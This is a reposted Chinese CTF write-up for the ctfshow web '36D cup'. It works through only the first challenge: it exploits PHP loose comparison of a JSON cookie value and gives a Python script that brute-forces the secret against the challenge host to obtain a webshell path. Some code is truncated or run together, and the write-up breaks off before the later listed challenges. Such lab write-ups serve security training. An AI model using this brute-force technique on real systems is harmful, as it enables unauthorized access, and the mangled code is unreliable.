小工具知识网

当前位置: 首页 > 行业知识 > ctfshow-web 36D杯

行业知识

ctfshow-web 36D杯

2026-11-04 04:07:26 来源:互联网转载

目录

给你shell

WEB_RemoteImageDownloader

ALL_INFO_U_WANT

WUSTCTF_朴实无华_Revenge 

Login_Only_For_36D

你取吧

WUSTCTF_朴实无华_Revenge_Revenge 

你没见过的注入

给你shell

提示:0006464640064064646464006406464064640064006400000000000
function haveFun($_f_g) {    $_g_r = 32;    $_m_u = md5($_f_g);    $_h_p = strtoupper($_m_u);    for ($i = 0; $i  
  • 根据代码得知,haveFun()函数的逻辑是将数字全部变为0,字母位64。(实验后就会发现)
    ($obj['secret'] != $flag_md5 ) ? haveFun($flag) : echo "here is your webshell: $shell_path";

    将$flag_md5与我们传入的secret进行比较,根据返回结果,前面3位都是0,即前面3个都是数字,在由php是弱语言,这里进行的是弱比较,换句话说,secret在100~999之间。 

    import requestsurl = 'https://86b8442f-7f60-4060-849b-b239c3234857.challenge.ctf.show/?give_me_shell'i = 100while True:    cookie = {        'PHPSESSID': 'c2jdlheiu8udsu06gfgqruvf0v',        'secret': '{"secret":' + str(i) + '}'    }    r = requests.get(url, cookies=cookie)    if '0006464640064064' not in r.text:        print(r.text)        print(i)        break    i += 1

    secret=115 

    here is your webshell: w3b5HeLLlll123.php

    得到一个文件,访问:

     

上一篇:服务器后台怎么登陆?

下一篇:虚拟服务器怎么转移硬盘?